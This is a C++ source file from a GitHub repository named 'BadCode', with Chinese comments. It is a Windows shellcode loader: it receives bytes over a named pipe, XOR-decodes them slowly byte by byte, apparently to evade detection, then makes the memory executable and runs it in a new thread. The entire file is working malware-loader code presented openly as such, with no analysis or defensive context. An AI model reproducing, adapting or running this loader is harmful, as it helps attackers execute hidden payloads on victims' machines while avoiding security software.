BadCode/BadCodeWithPipe/Source.cpp at master · icushell/BadCode · GitHub

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#include <Windows.h>

#include <stdio.h>

#include <intrin.h>

#define BUFF_SIZE 1024

PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

int wmain(int argc, TCHAR * argv[]){

HANDLE hPipe;

DWORD dwError;

CHAR szBuffer[BUFF_SIZE];

DWORD dwLen;

PCHAR pszShellcode = NULL;

DWORD dwOldProtect; // 内存页属性

HANDLE hThread;

DWORD dwThreadId;

// 参考：https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea

hPipe = CreateNamedPipe(

ptsPipeName,

PIPE_ACCESS_INBOUND,

PIPE_TYPE_BYTE| PIPE_WAIT,

PIPE_UNLIMITED_INSTANCES,

BUFF_SIZE,

NULL);

if(hPipe == INVALID_HANDLE_VALUE){

dwError = GetLastError();

printf("[-]Create Pipe Error : %d \n",dwError);

return dwError;

}

if(ConnectNamedPipe(hPipe,NULL) > 0){

printf("[+]Client Connected...\n");

ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);

printf("[+]Get DATA Length : %d \n",dwLen);

// 申请内存页

pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);

// 拷贝内存

CopyMemory(pszShellcode,szBuffer,dwLen);

for(DWORD i = 0;i< dwLen; i++){

Sleep(50);

_InterlockedXor8(pszShellcode+i,10);

}

// 这里开始更改它的属性为可执行

VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);

// 执行Shellcode

hThread = CreateThread(

NULL, // 安全描述符

NULL, // 栈的大小

(LPTHREAD_START_ROUTINE)pszShellcode, // 函数

NULL, // 参数

NULL, // 线程标志

&dwThreadId // 线程ID

);

WaitForSingleObject(hThread,INFINITE);

}

return 0;

}

BadCode/BadCodeWithPipe/Source.cpp at master · icushell/BadCode · GitHub

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